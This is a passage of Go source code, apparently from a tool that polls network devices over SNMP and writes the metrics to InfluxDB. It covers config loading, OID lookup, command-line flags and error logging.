	httpPort      = 8080
	oidToName     = make(map[string]string)
	nameToOid     = make(map[string]string)
	appdir, _     = osext.ExecutableFolder()
	logDir        = filepath.Join(appdir, "log")
	oidFile       = filepath.Join(appdir, "oids.txt")
	configFile    = filepath.Join(appdir, "config.gcfg")
	errorLog      *os.File
	errorDuration = time.Duration(10 * time.Minute)
	errorPeriod   = errorDuration.String()
	errorMax      = 100
	errorName     string

	cfg = struct {
		Snmp    map[string]*SnmpConfig
		Mibs    map[string]*MibConfig
		Influx  map[string]*InfluxConfig
		HTTP    HTTPConfig
		General GeneralConfig
	}{}
)

func fatal(v ...interface{}) {
	log.SetOutput(os.Stderr)
	log.Fatalln(v...)
}

func (c *SnmpConfig) DebugAction() string {
	debug := make(chan bool)
	c.enabled <- debug
	if <-debug {
		return "disable"
	}
	return "enable"
}

func (c *SnmpConfig) LoadPorts() {
	c.labels = make(map[string]string)
	if len(c.PortFile) == 0 {
		return
	}
	data, err := ioutil.ReadFile(filepath.Join(appdir, c.PortFile))
	if err != nil {
		log.Fatal(err)
	}
	for _, line := range strings.Split(string(data), "\n") {
		// strip comments
		comment := strings.Index(line, "#")
		if comment >= 0 {
			line = line[:comment]
		}
		f := strings.Fields(line)
		if len(f) < 2 {
			continue
		}
		c.labels[f[0]] = f[1]
	}
}

func (c *SnmpConfig) incRequests() {
	atomic.AddInt64(&c.Requests, 1)
}

func (c *SnmpConfig) incGets() {
	atomic.AddInt64(&c.Gets, 1)
}

func (c *SnmpConfig) incErrors() {
	atomic.AddInt64(&c.Errors, 1)
}

func (c *InfluxConfig) incErrors() {
	atomic.AddInt64(&c.Errors, 1)
}

func (c *InfluxConfig) incSent() {
	atomic.AddInt64(&c.Sent, 1)
}

// loads [last_octet]name for device
func (c *SnmpConfig) Translate() {
	client, err := snmpClient(c)
	if err != nil {
		fatal("Client connect error:", err)
	}
	defer client.Conn.Close()
	spew("Looking up column names for:", c.Host)
	pdus, err := client.BulkWalkAll(nameOid)
	if err != nil {
		fatal("SNMP bulkwalk error", err)
	}
	c.asName = make(map[string]string)
	c.asOID = make(map[string]string)
	for _, pdu := range pdus {
		switch pdu.Type {
		case gosnmp.OctetString:
			i := strings.LastIndex(pdu.Name, ".")
			suffix := pdu.Name[i+1:]
			name := string(pdu.Value.([]byte))
			_, ok := c.labels[name]
			if len(c.PortFile) == 0 || ok {
				c.asName[name] = suffix
				c.asOID[suffix] = name
			}
		}
	}
	// make sure we got everything
	for k := range c.labels {
		if _, ok := c.asName[k]; !ok {
			fatal("No OID found for:", k)
		}
	}

}

func spew(x ...interface{}) {
	if verbose {
		fmt.Println(x...)
	}
}

func (c *SnmpConfig) OIDs() {
	if c.mib == nil {
		fatal("NO MIB!")
	}
	c.oids = []string{}
	for _, col := range c.mib.Columns {
		base, ok := nameToOid[col]
		if !ok {
			fatal("no oid for col:", col)
		}
		// just named columns
		if len(c.PortFile) > 0 {
			for k := range c.asOID {
				c.oids = append(c.oids, base+"."+k)
			}
		} else if c.mib.Scalers {
			// or plain old scaler instances
			c.oids = append(c.oids, base+".0")
		} else {
			c.oids = append(c.oids, base)
		}
	}
	if len(c.mib.Columns) > 0 {
		spew("COLUMNS", c.mib.Columns)
		spew(c.oids)
	}
}

// load oid lookup data
func init() {
	data, err := ioutil.ReadFile(oidFile)
	if err != nil {
		log.Fatal(err)
	}
	for _, line := range strings.Split(string(data), "\n") {
		f := strings.Fields(line)
		if len(f) < 2 {
			continue
		}
		nameToOid[f[0]] = f[1]
		oidToName[f[1]] = f[0]
	}
}

func flags() *flag.FlagSet {
	var f flag.FlagSet
	f.BoolVar(&testing, "testing", testing, "print data w/o saving")
	f.BoolVar(&snmpNames, "names", snmpNames, "print column names and exit")
	f.StringVar(&configFile, "config", configFile, "config file")
	f.BoolVar(&verbose, "verbose", verbose, "verbose mode")
	f.IntVar(&repeat, "repeat", repeat, "number of times to repeat")
	f.IntVar(&freq, "freq", freq, "delay (in seconds)")
	f.IntVar(&httpPort, "http", httpPort, "http port")
	f.StringVar(&logDir, "logs", logDir, "log directory")
	f.Usage = func() {
		fmt.Fprintf(os.Stderr, "Usage of %s:\n", os.Args[0])
		f.VisitAll(func(flag *flag.Flag) {
			format := "%10s: %s\n"
			fmt.Fprintf(os.Stderr, format, "-"+flag.Name, flag.Usage)
		})
		fmt.Fprintf(os.Stderr, "\nAll settings can be set in config file: %s\n", configFile)
		os.Exit(1)

	}
	return &f
}

func init() {
	// parse first time to see if config file is being specified
	f := flags()
	f.Parse(os.Args[1:])
	// now load up config settings
	if _, err := os.Stat(configFile); err != nil {
		log.Fatal(err)
	} else {
		data, err := ioutil.ReadFile(configFile)
		if err != nil {
			log.Fatal(err)
		}
		err = gcfg.ReadStringInto(&cfg, string(data))
		if err != nil {
			log.Fatalf("Failed to parse gcfg data: %s", err)
		}
		httpPort = cfg.HTTP.Port
	}

	if len(cfg.General.LogDir) > 0 {
		logDir = cfg.General.LogDir
	}
	if len(cfg.General.OidFile) > 0 {
		oidFile = cfg.General.OidFile
	}

	for _, s := range cfg.Snmp {
		s.LoadPorts()
		s.debugging = make(chan bool)
		s.enabled = make(chan chan bool)
	}
	var ok bool
	for name, c := range cfg.Snmp {
		if c.mib, ok = cfg.Mibs[name]; !ok {
			if c.mib, ok = cfg.Mibs["*"]; !ok {
				fatal("No mib data found for config:", name)
			}
		}
		c.Translate()
		c.OIDs()
		if c.Freq == 0 {
			c.Freq = freq
		}
	}

	// only run when one needs to see the interface names of the device
	if snmpNames {
		for _, c := range cfg.Snmp {
			fmt.Println("\nSNMP host:", c.Host)
			fmt.Println("=========================================")
			printSnmpNames(c)
		}
		os.Exit(0)
	}

	// re-read cmd line args to override as indicated
	f = flags()
	f.Parse(os.Args[1:])
	os.Mkdir(logDir, 0755)

	// now make sure each snmp device has a db
	for name, c := range cfg.Snmp {
		// default is to use name of snmp config, but it can be overridden
		if len(c.Config) > 0 {
			name = c.Config
		}
		if c.Influx, ok = cfg.Influx[name]; !ok {
			if c.Influx, ok = cfg.Influx["*"]; !ok {
				fatal("No influx config for snmp device:", name)
			}
		}
		c.Influx.Init()
	}

	var ferr error
	errorName = fmt.Sprintf("error.%d.log", cfg.HTTP.Port)
	errorPath := filepath.Join(logDir, errorName)
	errorLog, ferr = os.OpenFile(errorPath, os.O_CREATE|os.O_RDWR|os.O_APPEND, 0664)
	if ferr != nil {
		log.Fatal("Can't open error log:", ferr)
	}
}

func errLog(msg string, args ...interface{}) {
	fmt.Fprintf(os.Stderr, msg, args...)
	fmt.Fprintf(errorLog, msg, args...)
}

func errMsg(msg string, err error) {
	now := time.Now()
	errLog("%s\t%s: %s\n", now.Format(layout), msg, err)
}

func main() {
	var wg sync.WaitGroup
	defer func() {
		errorLog.Close()
	}()
	for _, c := range cfg.Snmp {
		wg.Add(1)
		go c.Gather(repeat, &wg)
	}
	if repeat > 0 {
		wg.Wait()
	} else {
		if httpPort > 0 {
			webServer(httpPort)
		} else {
			<-quit
		}
	}
}
<|endoftext|>